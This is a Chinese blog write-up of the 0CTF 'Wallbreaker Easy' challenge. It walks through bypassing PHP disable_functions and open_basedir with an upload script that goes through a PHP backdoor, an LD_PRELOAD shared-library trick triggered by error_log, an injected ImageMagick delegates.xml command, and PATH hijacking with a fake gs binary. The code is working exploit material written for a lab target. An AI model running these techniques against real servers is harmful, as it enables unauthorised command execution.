zoukankan      html  css  js  c++  java
  • 0ctf-Wallbreaker Easy复现

    补坑+1。

    有预留的后门,并且给了phpinfo,因此可以从phpinfo中先搜集一波信息:

    这里禁用了很多命令执行的函数,所以应该要bypass_disablefunction,先读一下flag在哪,但是这里有openbase_dir限制,因此能够还必须绕过它,这里system默认忽略openbase_dir,所以要是能执行system就好了,那么此时就利用后门直接上传so,exp:

    先利用后门上传so文件

    import requests
    
    url = "http://localhost:8888/index.php"
    
    param = {"backdoor":"move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/723ee8e952c6c25ff6277a2f95c77a08/seu.so');echo 'ok';var_dump(scandir('/tmp/723ee8e952c6c25ff6277a2f95c77a08'));"}
    #files = [('file',('seu.so',open("seu.so","rb"),'application/octet-stream'))]
    files = [('file',('seu.so',open("tr1ple.so","rb"),'multipart/form-data'))]
    r = requests.post(url=url, files=files, data=param)
    print(r.text)

    这里是post型后门用data,get型用params,然后就能看到so上传成功,然后再上传触发LD_PRELOAD的php文件,这里直接通过后门上传到/var/www/html传不上去,应该是做了限制没权限,所以我们直接上传到/tmp/723ee8e952c6c25ff6277a2f95c77a08/,然后再通过后门include进来就是我们自己的后门了,然后因为这里过滤了mail,imap_open,我尝试了imap_mail,但是没有成功,

    1.非预期解法

    但是error_log可以用,直接用error_log触发就好,exp:

    <?php
        echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    
        $cmd = $_GET["cmd"];
        $out_path = $_GET["outpath"];
        $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
        echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    
        putenv("EVIL_CMDLINE=" . $evil_cmdline);
    
        $so_path = $_GET["sopath"];
        putenv("LD_PRELOAD=" . $so_path);
    
        error_log("", 1, "", "");
    
        echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
    
        unlink($out_path);
    ?>

    然后就可以执行命令了,system系统命令默认忽略openbase_dir,先ls / 看到readflag,因此直接执行/readflag,并将输出结果重定向即可

     2.预期解法

     这道题其实实际上是利用php的imagick的漏洞来bypass disable_function,前几天还补了一下php imagick的相关知识,其实它就是图片转换的库,但是它本身依靠外部转换程序来对特定后缀的文件进行转换,实际上就是一个delagate,即一个委托,即将要转换的文件中的一些特定部分通过delegate来添加到命令行中,相当于命令注入了,但是在bypass里面通过php imagick来fork execve也是一种方法,我之前也总结过,这里其实就是imagick在处理一些特定后缀文件时,会调用ffmpeg,从而就可以加载我们的恶意共享库,来bypass。

    这里又有两种方法:

    1.直接看delegate.xml来看下有哪些delegate起了新的子进程,从而看一下对应的后缀是啥,可以直接在github上看源码,找到该文件:

    https://github.com/ImageMagick/ImageMagick/blob/master/www/source/delegates.xml

    这里面就列了很多可以用的格式

    2.ImageMagick-masterPerlMagickMakefile.nt

    还可以从这个文件中找到,这里其实我刚开始也不知道怎么一下在就知道是看这个文件,但是我猜测肯定有对应的后缀要用ffmpeg来处理,所以我搜索ffmpeg字符串就能找到这个文件。

    从这里面也可以看到当imagick处理mpeg格式的文件时,将调用ffmpeg来处理,那么会加载动态库

    一叶飘零师傅找到的是这个文件来对应mpeg格式的文件后缀:

    但是我觉得是下面这个文件比较正确:

    ImageMagick-mastercodersmpeg.h

    这个就是定义mpeg的文件,那么aliases就是将哪些后缀格式的当作mpeg来处理,所以按道理来说这些后缀都会调用ffmpeg程序。

    以上就是两种找fork子进程的方法,本地测试一下:

    调用ffmpeg:

     

    调用delegate中定义的:

    当然这里为啥要选择jxr,是从delegate文件中发现的,当然最好是选择只有decode的,因为如果有encode的话,还要要求decode的文件文件头符合规范才能够调用command

    3.另外解法:

    ①:覆盖delegate.xml

    因为我们要执行/readflag,那么应该是通过系统命令,那么既然delagate.xml里面能够自定义要执行的命令,我们可以直接写delegate来让imagick当处理某个文件后缀时加载我们的delegate.xml,然后执行我们的command即可。

    比如首先通过正常情况下执行的命令找到 EPT 文件对应的文件格式为:ps:alpha,那么我们所需要的delegates.xml内容就是:

    <delegatemap>
      <delegate decode="ps:alpha" command="sh -c &quot;/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt&quot;"/>
    </delegatemap>

    这里就将读到的flag文件重定向

    然后只需要执行:

    putenv('MAGICK_CONFIGURE_PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
    $img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');

    当然这里最重要的是putenv函数,来设置imagick加载delegate.xml的路径是我们指定的,也就是上面我们上传的tmp文件夹,当然也要上传一个.ept文件,内容随意,因为这里只有decode~

    ②.覆盖子进程的位置

    因为我们在利用pre_load时也是在找哪里会启动新的进程来执行我们的so,那么在启动新进程时是在path定义的路径中去找到这个可执行文件来执行,那么我们可以直接通过修改path的方式来劫持子进程路径,从而

    来执行我们的恶意子进程来bypass

    #include <stdlib.h>
    #include <string.h>
    int main() {
        unsetenv("PATH");
        const char* cmd = getenv("CMD");
        system(cmd);
        return 0;
    }

    将上述内容编译后命名为 gs,将 gs 和 EPT文件写入到服务器,然后执行:

    putenv('PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
    putenv('CMD=/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt');
    chmod('/tmp/3accb9900a8be5421641fb31e6861f33/gs','0777');
    $img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');

    这是因为在delegate.xml定义中在decode ept文件时会调用gs,只要指定path为我们的gs的文件夹路径即可达成劫持的效果。

    相关资料

    https://github.com/mdsnins/ctf-writeups/blob/master/2019/0ctf%202019/Wallbreaker%20Easy/WallbreakerEasy.md

    https://skysec.top/2019/03/25/2019-0CTF-Web-WriteUp/#%E5%90%8E%E8%AE%B0

    https://xz.aliyun.com/t/4688#toc-15

  • 相关阅读:
    隐藏Nginx、Apache、PHP的版本信息
    PHP 安装版本选择
    Python 队列实现广度搜索算法 附上迷宫实例
    PHP 利用栈实现迷宫算法
    Python 和 PHP 实现 队列 和 栈 以及 利用栈实现符号匹配算法
    tp5 安装migration 报错 Installation failed, reverting ./composer.json to its original content.
    Redis 有序集合
    Redis 集合命令记录
    ‘This support library should not use a different version’解决方案
    build.gradle文件详解(二)
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11279895.html
Copyright © 2011-2022 走看看